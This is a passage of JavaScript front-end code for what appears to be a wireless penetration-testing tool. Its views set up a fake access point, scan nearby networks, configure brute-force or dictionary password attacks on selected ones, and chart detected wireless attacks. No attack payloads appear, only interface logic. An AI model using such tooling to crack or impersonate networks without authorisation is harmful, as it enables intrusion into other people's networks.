this.form.form('set value','password',''); 208 | switch(type){ 209 | case 0: 210 | this.$el.find('.password.field').addClass('disabled').find('input').attr('disabled',true); 211 | break; 212 | case 1: 213 | this.$el.find('.password.field').removeClass('disabled').find('input').attr('disabled',false); 214 | this.form.form({ 215 | on: 'change', 216 | inline: true, 217 | fields: { 218 | password_wep: { 219 | identifier: 'password', 220 | rules: [ 221 | { 222 | type : 'regExp[/((^.{5}$)|(^.{13}$)|(^.{16}$))/]', 223 | prompt : 'Please enter exactly 5, 13, 16 characters' 224 | }] 225 | } 226 | } 227 | }); 228 | break; 229 | case 2: 230 | this.$el.find('.password.field').removeClass('disabled').find('input').attr('disabled',false); 231 | this.form.form({ 232 | on: 'change', 233 | inline: true, 234 | fields: { 235 | password_wpa: { 236 | identifier: 'password', 237 | rules: [ 238 | { 239 | type: 'length[8]', 240 | prompt: 'Please enter at least 8 characters' 241 | }] 242 | } 243 | } 244 | }); 245 | break; 246 | default: 247 | break; 248 | } 249 | } 250 | }); 251 | 252 | return FakeapView; 253 | 254 | }); -------------------------------------------------------------------------------- /static/js/views/header-menu.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var HeaderView = Backbone.View.extend({ 6 | 7 | tagName: "div", 8 | 9 | className: "ui container mainmenu", 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('header')); 13 | }, 14 | 15 | 16 | render: function() { 17 | this.$el.html(this.template()); 18 | 19 | this.widsCheckbox(); 20 | return this; 21 | }, 22 | 23 | activeMenu: function(number){ 24 | number = number.toString(); 25 | $('a.active.item').removeClass('active'); 26 | $('.'+number+'.item').addClass('active'); 27 | 28 | return this; 29 | }, 30 | 31 | widsCheckbox: function(){ 32 | var widsOption = localStorage.getItem('wids'); 33 | if(widsOption==1){ 34 | this.$el.find('.ui.checkbox').checkbox('set checked'); 35 | } 36 | else { 37 | this.$el.find('.ui.checkbox').checkbox('set unchecked'); 38 | } 39 | this.$el.find('.ui.checkbox').checkbox({ 40 | onChecked: function(){ 41 | app.hiddenModel.setWidsOption(1); 42 | }, 43 | onUnchecked: function(){ 44 | app.hiddenModel.setWidsOption(0); 45 | } 46 | }); 47 | this.$el.find('.ui.checkbox').popup(); 48 | 49 | } 50 | 51 | }); 52 | 53 | return HeaderView; 54 | 55 | }); -------------------------------------------------------------------------------- /static/js/views/hidden.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','models/hidden-model'], 3 | 4 | function($,_,Backbone,$,tpl, HiddenModel) { 5 | 6 | var HiddenView = Backbone.View.extend({ 7 | 8 | initialize: function(){ 9 | this.template = _.template(tpl.get('hidden')); 10 | this.model.bind("change",this.appendMessage,this); 11 | }, 12 | 13 | render: function(){ 14 | this.setElement(this.template()); 15 | this.pulling(5000); 16 | return this.el; 17 | }, 18 | 19 | pulling: function(interval){ 20 | var self = this; 21 | this.model.fetch({ 22 | success: function(){ 23 | setTimeout(function(){ 24 | self.pulling(interval); 25 | },interval); 26 | }, 27 | error: function(){ 28 | console.log('error'); 29 | } 30 | }) 31 | }, 32 | 33 | appendMessage: function(){ 34 | if(this.model.messageLength()){ 35 | var messages = this.model.messageToCollection(); 36 | 37 | _.each(messages.models,function(message){ 38 | var newMsg = new HiddenMessageView({ 39 | model: message 40 | }).render(); 41 | this.$el.append(newMsg.el); 42 | newMsg.fadeIn(); 43 | },this); 44 | } 45 | } 46 | 47 | }); 48 | 49 | var HiddenMessageView = Backbone.View.extend({ 50 | 51 | tagName: 'div', 52 | 53 | className: 'ui error message', 54 | 55 | initialize: function(){ 56 | this.template = _.template(tpl.get('hidden-message')); 57 | }, 58 | 59 | render: function() { 60 | this.$el.html(this.template(this.model.toJSON())); 61 | return this; 62 | }, 63 | 64 | events: { 65 | "click .close.icon": "fadeOut" 66 | }, 67 | 68 | fadeIn: function() { 69 | this.$el.transition({ 70 | animation: 'fade left', 71 | duration: '1000ms' 72 | }); 73 | 74 | return this; 75 | }, 76 | 77 | fadeOut: function() { 78 | var self = this; 79 | this.$el.transition({ 80 | animation: 'fade left', 81 | duration: '500ms', 82 | onHide : function(){ 83 | self.close(); 84 | } 85 | }); 86 | } 87 | 88 | }); 89 | 90 | return HiddenView; 91 | 92 | }); -------------------------------------------------------------------------------- /static/js/views/pentest-option.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var PentestOptionView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | initialize: function(){ 10 | this.template = _.template(tpl.get('pentest-option')); 11 | }, 12 | 13 | render: function(){ 14 | this.$el.html(this.template()); 15 | this.$el.find('.ui.checkbox').checkbox(); 16 | 17 | return this; 18 | }, 19 | 20 | events: { 21 | 'change input.range': 'change_range', 22 | 'mousemove input.range': 'change_range', 23 | 'click .bruteforce.radio' : 'setBruteforce', 24 | 'click .dictionary.radio' : 'setDictionary' 25 | }, 26 | 27 | setBruteforce: function(){ 28 | var bruteforce_field = this.$el.find('.bruteforce.segment'); 29 | var dictionary_field = this.$el.find('.dictionary.segment'); 30 | bruteforce_field.removeClass('disabled'); 31 | dictionary_field.addClass('disabled'); 32 | bruteforce_field.find('input').removeAttr("disabled"); 33 | dictionary_field.find('input').attr("disabled",true); 34 | dictionary_field.find('input:checked').attr("checked",false); 35 | }, 36 | 37 | setDictionary: function(){ 38 | var bruteforce_field = this.$el.find('.bruteforce.segment'); 39 | var dictionary_field = this.$el.find('.dictionary.segment'); 40 | dictionary_field.removeClass('disabled'); 41 | bruteforce_field.addClass('disabled'); 42 | dictionary_field.find('input').removeAttr("disabled"); 43 | bruteforce_field.find('input').attr("disabled",true); 44 | bruteforce_field.find('input:checked').attr("checked",false); 45 | bruteforce_field.find('input[type="text"]').val(''); 46 | }, 47 | 48 | change_range: function(){ 49 | $(event.target).closest('div.field').find('.time_val').html(event.target.value); 50 | }, 51 | 52 | getValue: function(){ 53 | var return_obj = {}; 54 | this.$el.find('input:checkbox[name="pentest_option"]:checked').each(function(){ 55 | var value = $(this).val(); 56 | return_obj[value] = true; 57 | }); 58 | 59 | var minlength = this.$el.find('input:text[name="pentest_option_minlength"]').val(); 60 | var maxlength = this.$el.find('input:text[name="pentest_option_maxlength"]').val(); 61 | var timeout = this.$el.find('input.range[name="pentest_timeout"]').val(); 62 | 63 | return_obj['bruteforce_minlength'] = minlength; 64 | return_obj['bruteforce_maxlength'] = maxlength; 65 | return_obj['timeout'] = timeout; 66 | 67 | 68 | return return_obj 69 | 70 | } 71 | }); 72 | 73 | return PentestOptionView; 74 | }); -------------------------------------------------------------------------------- /static/js/views/pentest-result.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/jquery.tablesort'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var PentestResultView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | className: 'ui raised segment', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('pentest-result')); 13 | this.model.bind("reset",this.render,this); 14 | this.model.bind("add",this.appendList,this); 15 | }, 16 | 17 | render: function(){ 18 | this.$el.html(this.template()); 19 | _.each(this.model.models,function(result_value){ 20 | this.appendList(result_value); 21 | },this); 22 | 23 | this.sortTable(); 24 | return this; 25 | }, 26 | 27 | sortTable: function(){ 28 | this.$el.find('table').tablesort(); 29 | }, 30 | 31 | appendList: function(result_value){ 32 | this.$el.find('tbody').append(new PentestResultListView({ 33 | model: result_value 34 | }).render().el); 35 | } 36 | }); 37 | 38 | var PentestResultListView = Backbone.View.extend({ 39 | 40 | tagName: "tr", 41 | 42 | initialize: function(){ 43 | this.template = _.template(tpl.get('pentest-result-list')); 44 | this.model.bind("change", this.render,this); 45 | this.model.bind("destroy",this.close,this); 46 | }, 47 | 48 | render: function(){ 49 | this.$el.html(this.template(this.model.toJSON())); 50 | return this; 51 | } 52 | }); 53 | 54 | return PentestResultView; 55 | }); -------------------------------------------------------------------------------- /static/js/views/pentest-scantable-empty.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var PentestEmptyView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | initialize: function(){ 10 | this.template = _.template(tpl.get('pentest-scantable-empty')); 11 | }, 12 | 13 | render: function(){ 14 | this.$el.html(this.template()); 15 | 16 | return this; 17 | } 18 | }); 19 | 20 | return PentestEmptyView; 21 | }); -------------------------------------------------------------------------------- /static/js/views/pentest-scantable.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/jquery.tablesort'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var PentestScanTableView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | 10 | initialize: function(){ 11 | this.template = _.template(tpl.get('pentest-scantable')); 12 | this.model.bind("reset",this.render,this); 13 | }, 14 | 15 | render: function(){ 16 | this.$el.html(this.template()); 17 | 18 | _.each(this.model.models,function(scanStatus){ 19 | this.appendList(scanStatus); 20 | },this); 21 | 22 | this.sortTable(); 23 | return this; 24 | }, 25 | 26 | sortTable: function(){ 27 | this.$el.find('table').tablesort(); 28 | }, 29 | 30 | appendList: function(scanStatus){ 31 | this.$el.find('tbody').append(new PentestScanTableListView({ 32 | model: scanStatus 33 | }).render().el); 34 | }, 35 | 36 | getValue: function(){ 37 | var return_obj = {}; 38 | var return_arr = []; 39 | this.$el.find('input:checkbox[name="check_ap"]:checked').each(function(){ 40 | var tmp_obj = {}; 41 | var target_row = $(this).closest('tr'); 42 | tmp_obj['bssid'] = target_row.find('.bssid').text(); 43 | tmp_obj['essid'] = target_row.find('.essid').text(); 44 | tmp_obj['channel'] = target_row.find('.channel').text(); 45 | tmp_obj['enc_type'] = target_row.find('.enc_type').text(); 46 | return_arr.push(tmp_obj); 47 | }); 48 | return_obj['aplist'] = return_arr; 49 | return return_obj; 50 | } 51 | }); 52 | 53 | var PentestScanTableListView = Backbone.View.extend({ 54 | 55 | tagName: "tr", 56 | 57 | initialize: function(){ 58 | this.template = _.template(tpl.get('pentest-scantable-list')); 59 | this.model.bind("change", this.render,this); 60 | this.model.bind("destroy",this.close,this); 61 | }, 62 | 63 | render: function(){ 64 | this.$el.html(this.template(this.model.toJSON())); 65 | return this; 66 | } 67 | }) 68 | return PentestScanTableView; 69 | }); -------------------------------------------------------------------------------- /static/js/views/pentest-typetable.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var PentestTypeTableView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | initialize: function(){ 10 | this.template = _.template(tpl.get('pentest-typetable')); 11 | }, 12 | 13 | render: function(){ 14 | this.$el.html(this.template()); 15 | 16 | return this; 17 | }, 18 | 19 | getValue: function(){ 20 | var return_obj = {}; 21 | this.$el.find('input:checkbox[name="check_type"]:checked').each(function(){ 22 | var value = $(this).val(); 23 | return_obj[value] = true; 24 | }); 25 | return return_obj; 26 | } 27 | }); 28 | 29 | return PentestTypeTableView; 30 | }); -------------------------------------------------------------------------------- /static/js/views/pentest.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl', 3 | 'models/scanstatus-collection', 4 | 'models/pentest-model', 5 | 'models/pentest-result-collection', 6 | 'views/pentest-scantable-empty', 7 | 'views/pentest-scantable', 8 | 'views/pentest-option', 9 | 'views/pentest-result'], 10 | 11 | function($,_,Backbone,$,tpl,ScanStatuses, 12 | Pentest, PentestResults, 13 | PentestEmptyView, PentestScanTableView, PentestOptionView, PentestResultView) { 14 | 15 | var PentestView = Backbone.View.extend({ 16 | 17 | initialize: function(){ 18 | this.template = _.template(tpl.get('pentest')); 19 | 20 | }, 21 | 22 | render: function(){ 23 | this.setElement(this.template()); 24 | return this.el; 25 | }, 26 | 27 | events: { 28 | "click .to-go-scan.button" : "backToScan", 29 | "click .to-step-one.button" : "stepOne", 30 | "click .to-step-two.button" : "stepTwo", 31 | "click .to-step-start.button" : "pentestStart" 32 | }, 33 | 34 | afterRender: function(){ 35 | var scannedAP = this.getScannedAP(); 36 | 37 | if ( scannedAP ) { 38 | if( this.apList==undefined ) { 39 | this.apList = new ScanStatuses(scannedAP); 40 | } 41 | this.apTableView = new PentestScanTableView({ 42 | model : this.apList 43 | }); 44 | this.$el.find('.ap-table').html(this.apTableView.render().el); 45 | 46 | this.optionView = new PentestOptionView(); 47 | this.$el.find('.option').html(this.optionView.render().el); 48 | 49 | this.stepOne(); 50 | 51 | } else { 52 | this.pentestEmptyView = new PentestEmptyView(); 53 | this.$el.find('.ap-empty').html(this.pentestEmptyView.render().el); 54 | 55 | this.stepEmpty(); 56 | } 57 | 58 | 59 | }, 60 | 61 | getScannedAP: function(){ 62 | var data = localStorage.getItem('scannedAP'); 63 | if( data == null || data=='') { 64 | console.log('a') 65 | return false; 66 | } else { 67 | var json_data = JSON.parse(data); 68 | var filtered_data = _.filter(json_data,function(d){ 69 | return d.type != "ad-hoc" && d.type != "station"; 70 | }); 71 | return filtered_data; 72 | } 73 | }, 74 | 75 | stepEmpty: function() { 76 | this.$el.find('.steps .active').removeClass('active'); 77 | this.$el.find('.steps .step.one').addClass('active'); 78 | if( this.$el.find('.pentest-step.active').length>0 ) { 79 | this.$el.find('.pentest-step.active').removeClass('active').transition({ 80 | animation: 'fade right', 81 | onHide: function(){ 82 | $('.pentest-step.empty').addClass('active').transition('fade left'); 83 | } 84 | }); 85 | } else { 86 | $('.pentest-step.empty').addClass('active').transition('fade left'); 87 | } 88 | }, 89 | 90 | backToScan: function() { 91 | app.navigate("status",{trigger:true}); 92 | }, 93 | 94 | stepOne: function() { 95 | this.$el.find('.steps .active').removeClass('active'); 96 | this.$el.find('.steps .step.one').addClass('active'); 97 | if( this.$el.find('.pentest-step.active').length>0 ) { 98 | this.$el.find('.pentest-step.active').removeClass('active').transition({ 99 | animation: 'fade right', 100 | onHide: function(){ 101 | $('.pentest-step.one').addClass('active').transition('fade left'); 102 | } 103 | }); 104 | } else { 105 | $('.pentest-step.one').addClass('active').transition('fade left'); 106 | } 107 | 108 | }, 109 | 110 | stepTwo: function() { 111 | this.$el.find('.steps .active').removeClass('active'); 112 | this.$el.find('.steps .step.two').addClass('active'); 113 | this.$el.find('.pentest-step.active').removeClass('active').transition({ 114 | animation: 'fade right', 115 | onHide: function(){ 116 | $('.pentest-step.two').addClass('active').transition('fade left'); 117 | } 118 | }); 119 | }, 120 | 121 | stepThree: function() { 122 | this.$el.find('.steps .active').removeClass('active'); 123 | this.$el.find('.steps .step.three').addClass('active'); 124 | this.$el.find('.pentest-step.active').removeClass('active').transition({ 125 | animation: 'fade right', 126 | onHide: function(){ 127 | $('.pentest-step.three').addClass('active').transition('fade left'); 128 | } 129 | }) 130 | }, 131 | 132 | setPentestOption: function() { 133 | this.pentest = new Pentest(); 134 | this.pentest.set(this.apTableView.getValue()); 135 | this.pentest.set(this.optionView.getValue()); 136 | 137 | this.pentest.save(); 138 | }, 139 | 140 | loadingModal: function() { 141 | var self = this; 142 | $('.pentest-loading.modal').modal({ 143 | closable:false, 144 | onDeny:function(){ 145 | clearTimeout(self.pentestTimer) 146 | } 147 | }).modal('show'); 148 | 149 | $('.ui.progress').progress({ 150 | total: this.count 151 | }); 152 | }, 153 | 154 | resultRender: function() { 155 | if(this.pentestResults==undefined){ 156 | this.pentestResults = new PentestResults(); 157 | } 158 | this.pentestResultView = new PentestResultView({ 159 | model : this.pentestResults 160 | }); 161 | this.$el.find('.pentest-result').html(this.pentestResultView.render().el); 162 | }, 163 | 164 | pentestStart: function() { 165 | this.setPentestOption(); 166 | 167 | this.count = this.pentest.get("timeout")*12; 168 | 169 | this.loadingModal(); 170 | 171 | this.stepThree(); 172 | 173 | this.resultRender(); 174 | 175 | 176 | this.pentestLoop(this.count); 177 | }, 178 | 179 | pentestLoop: function(count){ 180 | var self = this; 181 | if( count>0 ) { 182 | this.pentestTimer = setTimeout( function() { 183 | $('.ui.progress').progress('increment'); 184 | self.pentestResults.fetch({ 185 | update:true, 186 | remove:false, 187 | success: function(){ 188 | self.pentestLoop(count-1); 189 | }, 190 | error: function(){ 191 | console.log('pentest error'); 192 | } 193 | }); 194 | }, 5000); 195 | } else { 196 | $('.pentest-loading.modal').modal('hide'); 197 | } 198 | } 199 | }); 200 | 201 | return PentestView; 202 | 203 | }); -------------------------------------------------------------------------------- /static/js/views/project-list.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','models/project-model'], 3 | 4 | function($,_,Backbone,$,tpl,Project) { 5 | 6 | var ProjectListView = Backbone.View.extend({ 7 | 8 | initialize: function(){ 9 | this.template = _.template(tpl.get('project-list')); 10 | this.model.bind("reset",this.render,this); 11 | 12 | }, 13 | 14 | events: { 15 | "click .add.button" : "appendNewProject" 16 | }, 17 | 18 | semantic_ui: function(){ 19 | this.$el.find('#add_project .dimmable').dimmer({ 20 | on: 'hover' 21 | }); 22 | }, 23 | 24 | render: function(){ 25 | this.setElement(this.template()); 26 | 27 | this.semantic_ui(); 28 | 29 | _.each(this.model.models,function(project) { 30 | this.appendProject(project); 31 | }, this); 32 | 33 | return this.el; 34 | }, 35 | 36 | appendNewProject: function(){ 37 | var cur_time = new Date().toLocaleString(); 38 | this.$el.append(new ProjectListItemView({ 39 | model: new Project({p_time:cur_time}) 40 | }).editrender().el); 41 | }, 42 | 43 | appendProject: function(project) { 44 | this.$el.append(new ProjectListItemView({ 45 | model: project 46 | }).render().el); 47 | } 48 | 49 | 50 | }); 51 | 52 | var ProjectListItemView = Backbone.View.extend({ 53 | 54 | tagName: "div", 55 | 56 | className: "card", 57 | 58 | 59 | initialize: function(){ 60 | this.template = _.template(tpl.get('project-list-item')); 61 | this.model.bind("change",this.render,this); 62 | this.model.bind("destroy",this.close,this); 63 | }, 64 | 65 | render: function() { 66 | this.$el.html(this.template(this.model.toJSON())); 67 | return this; 68 | }, 69 | 70 | editrender: function() { 71 | this.$el.html(this.template(this.model.toJSON())); 72 | this.editmode(); 73 | return this; 74 | }, 75 | 76 | events: { 77 | "click .remove.icon": "deleteProject", 78 | "click .write.icon" : "editmode", 79 | "click .save.button" : "saveProject", 80 | "click .go.button" : "goProject" 81 | }, 82 | 83 | viewmode: function(){ 84 | this.$el.removeClass('editing'); 85 | }, 86 | 87 | editmode: function(){ 88 | this.$el.addClass('editing'); 89 | this.$el.find('.p_name').focus(); 90 | }, 91 | 92 | saveProject: function(){ 93 | this.viewmode(); 94 | 95 | this.model.set({ 96 | p_name: this.$el.find('.p_name').val(), 97 | p_desc: this.$el.find('.p_desc').val() 98 | }) 99 | if (this.model.isNew()) { 100 | var self = this; 101 | app.projectList.create(this.model,{ 102 | success: function(){ 103 | } 104 | }); 105 | } else { 106 | this.model.save(); 107 | } 108 | 109 | return false; 110 | }, 111 | 112 | deleteProject: function(){ 113 | this.model.destroy(); 114 | return false; 115 | }, 116 | 117 | goProject: function(){ 118 | app.navigate(this.model.id+'/status',{trigger:true}); 119 | } 120 | 121 | }); 122 | 123 | return ProjectListView; 124 | 125 | }); -------------------------------------------------------------------------------- /static/js/views/status-scanchart.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/Chart.min'], 3 | 4 | function($, _, Backbone, $, tpl,Chart) { 5 | var StatusScanChartView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | className: 'ui centered grid', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('status-scanchart')); 13 | this.model.bind("add",this.reRender,this); 14 | this.colorcode1 = ['#DB2828','#F2711C','#FBBD08','#B5CC18','#21BA45','#00B5AD','#2185D0','#6435C9','#A333C8','#E03997','#A5673F','#767676','#1B1C1D','#FF695E','#FF851B','#FFE21F','#D9E778','#2ECC40']; 15 | 16 | this.legend = "
<% for (var i=0; i\ 17 |
\">\ 18 | <%if(segments[i].label){%><%=segments[i].label%><%}%>
<%}%>
"; 19 | 20 | }, 21 | 22 | render: function(){ 23 | this.$el.html(this.template()); 24 | 25 | return this; 26 | }, 27 | 28 | reRender: function(){ 29 | 30 | this.destroy().dataSet().chartInit(); 31 | 32 | 33 | return this; 34 | }, 35 | 36 | dataSet: function(){ 37 | var type_labels = this.model.distinctKey('type'); 38 | var enc_labels = this.model.distinctKey('enc'); 39 | var ch_labels = this.model.distinctKey('ch'); 40 | var type_length = type_labels.length; 41 | var enc_length = enc_labels.length; 42 | var ch_length = ch_labels.length; 43 | 44 | this.typeData=[]; 45 | for(var i=0; i< type_length; i++){ 46 | var name = type_labels[i]; 47 | var d = { 48 | value : this.model.where({type: name}).length, 49 | color : this.colorcode1[i], 50 | label : name 51 | }; 52 | this.typeData[i] = d; 53 | } 54 | 55 | this.encData=[]; 56 | var j = 0; 57 | for(var i=0; i< enc_length; i++){ 58 | var name = enc_labels[i]; 59 | if ( name != 'N/A') { 60 | var d = { 61 | value : this.model.where({enc: name}).length, 62 | color : this.colorcode1[i], 63 | label : name 64 | }; 65 | this.encData[j++] = d; 66 | } 67 | } 68 | 69 | this.chData=[]; 70 | var j = 0; 71 | for(var i=0; i< ch_length; i++){ 72 | var name = ch_labels[i]; 73 | if ( name != '') { 74 | var d = { 75 | value : this.model.where({ch: name}).length, 76 | color : this.colorcode1[i], 77 | label : name 78 | }; 79 | this.chData[j++] = d; 80 | } 81 | } 82 | 83 | /*this.typeData = _.sortBy(this.typeData,'value'); 84 | this.encData = _.sortBy(this.encData,'value'); 85 | this.chData = _.sortBy(this.chData,'value');*/ 86 | 87 | return this; 88 | 89 | }, 90 | 91 | chartInit: function(){ 92 | Chart.defaults.global.responsive = true; 93 | 94 | this.ctx_type = this.$el.find('#typeChart').get(0).getContext('2d'); 95 | this.ctx_enc = this.$el.find('#encChart').get(0).getContext('2d'); 96 | this.ctx_ch = this.$el.find('#chChart').get(0).getContext('2d'); 97 | 98 | this.typeChart = new Chart(this.ctx_type).Doughnut(this.typeData,{ 99 | legendTemplate: this.legend 100 | }); 101 | this.encChart = new Chart(this.ctx_enc).Doughnut(this.encData,{ 102 | legendTemplate: this.legend 103 | }); 104 | this.chChart = new Chart(this.ctx_ch).Doughnut(this.chData,{ 105 | legendTemplate: this.legend 106 | }); 107 | 108 | this.$el.find('#typeLegend').html(this.typeChart.generateLegend()); 109 | this.$el.find('#encLegend').html(this.encChart.generateLegend()); 110 | this.$el.find('#chLegend').html(this.chChart.generateLegend()); 111 | 112 | return this; 113 | }, 114 | 115 | destroy: function(){ 116 | this.typeChart.destroy(); 117 | this.encChart.destroy(); 118 | this.chChart.destroy(); 119 | 120 | return this; 121 | } 122 | }); 123 | 124 | return StatusScanChartView; 125 | 126 | }); -------------------------------------------------------------------------------- /static/js/views/status-scantable.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/jquery.tablesort'], 3 | 4 | function($, _, Backbone, $, tpl) { 5 | var StatusScanTableView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | className: 'ui raised segment', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('status-scantable')); 13 | this.model.bind("reset",this.render,this); 14 | this.model.bind("add",this.appendList,this); 15 | }, 16 | 17 | render: function(){ 18 | this.$el.html(this.template()); 19 | 20 | _.each(this.model.models,function(scanStatus){ 21 | this.appendList(scanStatus); 22 | },this); 23 | 24 | this.sortTable(); 25 | return this; 26 | }, 27 | 28 | sortTable: function(){ 29 | this.$el.find('table').tablesort(); 30 | }, 31 | 32 | appendList: function(scanStatus){ 33 | this.$el.find('tbody').append(new StatusScanTableListView({ 34 | model: scanStatus 35 | }).render().el); 36 | } 37 | }); 38 | 39 | var StatusScanTableListView = Backbone.View.extend({ 40 | 41 | tagName: "tr", 42 | 43 | initialize: function(){ 44 | this.template = _.template(tpl.get('status-scantable-list')); 45 | this.model.bind("change", this.render,this); 46 | this.model.bind("destroy",this.close,this); 47 | }, 48 | 49 | render: function(){ 50 | this.$el.html(this.template(this.model.toJSON())); 51 | return this; 52 | } 53 | }) 54 | return StatusScanTableView; 55 | 56 | 57 | }); -------------------------------------------------------------------------------- /static/js/views/status.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl', 3 | 'models/scanstatus-collection', 4 | 'views/status-scantable', 5 | 'views/status-scanchart' 6 | ], 7 | 8 | function($, _, Backbone, $, tpl, ScanStatuses, StatusScanTableView, StatusScanChartView) { 9 | var StatusView = Backbone.View.extend({ 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('status')); 13 | this.scanSignal = false; 14 | }, 15 | 16 | render: function() { 17 | this.setElement(this.template()); 18 | return this.el; 19 | }, 20 | 21 | events: { 22 | "click .scan-start": "scanStart", 23 | "click .scan-pause": "scanPause", 24 | "click .scan-stop": "scanStop" 25 | }, 26 | 27 | scanButtonState: function(state){ 28 | switch(state){ 29 | case 0: 30 | this.$el.find('.scan-start').addClass('disabled loading'); 31 | this.$el.find('.scan-stop').removeClass('disabled'); 32 | break; 33 | case 1: 34 | this.$el.find('.scan-pause').removeClass('disabled'); 35 | break; 36 | case 2: 37 | this.$el.find('.scan-start').removeClass('disabled loading'); 38 | this.$el.find('.scan-pause').addClass('disabled'); 39 | break; 40 | case 3: 41 | this.$el.find('.scan-start').removeClass('disabled'); 42 | this.$el.find('.scan-start').removeClass('loading'); 43 | this.$el.find('.scan-pause').addClass('disabled'); 44 | this.$el.find('.scan-stop').addClass('disabled'); 45 | break; 46 | default: 47 | console.log('error'); 48 | this.$el.find('.scan-start').addClass('disabled'); 49 | this.$el.find('.scan-pause').addClass('disabled'); 50 | this.$el.find('.scan-stop').addClass('disabled'); 51 | break; 52 | } 53 | }, 54 | 55 | 56 | scanStart: function(){ 57 | if(this.scanStatusList==undefined){ 58 | this.scanStatusList = new ScanStatuses(); 59 | } 60 | 61 | this.scanRun(10000); 62 | 63 | this.scanButtonState(0); 64 | 65 | this.$el.find('.scanOn').show(); 66 | }, 67 | 68 | scanPause: function(){ 69 | this.scanSignal = false; 70 | 71 | this.scanButtonState(2); 72 | }, 73 | 74 | scanStop: function(){ 75 | this.scanSignal = false; 76 | 77 | this.scanSaveCheckModal(); 78 | 79 | this.scanButtonState(3); 80 | 81 | this.$el.find('.scanOn').hide(); 82 | }, 83 | 84 | scanRun: function(interval){ 85 | this.scanSignal = true; 86 | 87 | this.interval = interval; 88 | 89 | this.scanAction(); 90 | }, 91 | 92 | scanAction: function(){ 93 | if( this.scanSignal ) { 94 | var self = this; 95 | this.scanStatusList.fetch({ 96 | update:true, 97 | remove:false, 98 | success: function(){ 99 | if( self.scanSignal ) { 100 | if(self.scanStatusList.length>0 && self.statusScanTableView==undefined){ 101 | 102 | self.statusScanChartView = new StatusScanChartView({ 103 | model: self.scanStatusList 104 | }); 105 | self.statusScanTableView = new StatusScanTableView({ 106 | model: self.scanStatusList 107 | }); 108 | 109 | self.$el.find('#scanTable').html(self.statusScanTableView.render().el); 110 | 111 | 112 | self.$el.find('#scanChart').html(self.statusScanChartView.render().el); 113 | self.statusScanChartView.dataSet().chartInit(); 114 | } 115 | setTimeout(function(){ 116 | self.scanAction(); 117 | },self.interval); 118 | self.scanButtonState(1); 119 | } 120 | }, 121 | error: function(){ 122 | console.log('error'); 123 | } 124 | }); 125 | } 126 | }, 127 | 128 | 129 | 130 | 131 | scanSaveCheckModal: function(){ 132 | var self = this; 133 | $('.scan-save.check').modal({ 134 | allowMultiple:false, 135 | closable: false, 136 | onDeny: function(){ 137 | self.scanStatusList.stop(); 138 | self.scanClear(); 139 | 140 | }, 141 | onApprove: function(){ 142 | self.saveToLocalStorage(); 143 | self.scanStatusList.stop(); 144 | self.scanClear(); 145 | } 146 | }).modal('show'); 147 | }, 148 | 149 | scanClear: function(){ 150 | if(this.statusScanTableView!=undefined){ 151 | this.statusScanTableView.close(); 152 | delete this.statusScanTableView; 153 | } 154 | if(this.statusScanChartView!=undefined){ 155 | this.statusScanChartView.close(); 156 | delete this.statusScanChartView; 157 | } 158 | }, 159 | 160 | saveToLocalStorage: function(){ 161 | var jsondata = this.scanStatusList.toJSON(); 162 | jsondata = JSON.stringify(jsondata); 163 | localStorage.setItem('scannedAP',jsondata); 164 | } 165 | 166 | 167 | }); 168 | 169 | return StatusView; 170 | 171 | 172 | }); -------------------------------------------------------------------------------- /static/js/views/wids-chart.js: -------------------------------------------------------------------------------- 1 | define( 2 | ['jquery','lodash','backbone','semantic','utils/tpl','libs/Chart.min'], 3 | 4 | function($, _, Backbone, $, tpl,Chart) { 5 | var WidsChartView = Backbone.View.extend({ 6 | 7 | tagName: 'div', 8 | 9 | className: 'ui raised segments', 10 | 11 | initialize: function(){ 12 | this.template = _.template(tpl.get('wids-chart')); 13 | }, 14 | 15 | render: function(){ 16 | this.$el.html(this.template()); 17 | 18 | return this; 19 | }, 20 | 21 | dataSet: function(){ 22 | var wids_labels = ['Dissassocation Flood', 23 | 'Deauth Flood', 24 | 'Wessid-NG Attack', 25 | 'Korek ChopChop Attack', 26 | 'Fragmentation PRGA Attack', 27 | 'MDK Micheal shutdown Exploitation (TKIP)', 28 | 'Attack by TKIPTUN-NG', 29 | 'Authentication DOS', 30 | 'Association Flood', 31 | 'High amount of association sent', 32 | 'Suspect Rouge AP', 33 | 'Detected Beacon Flood']; 34 | var 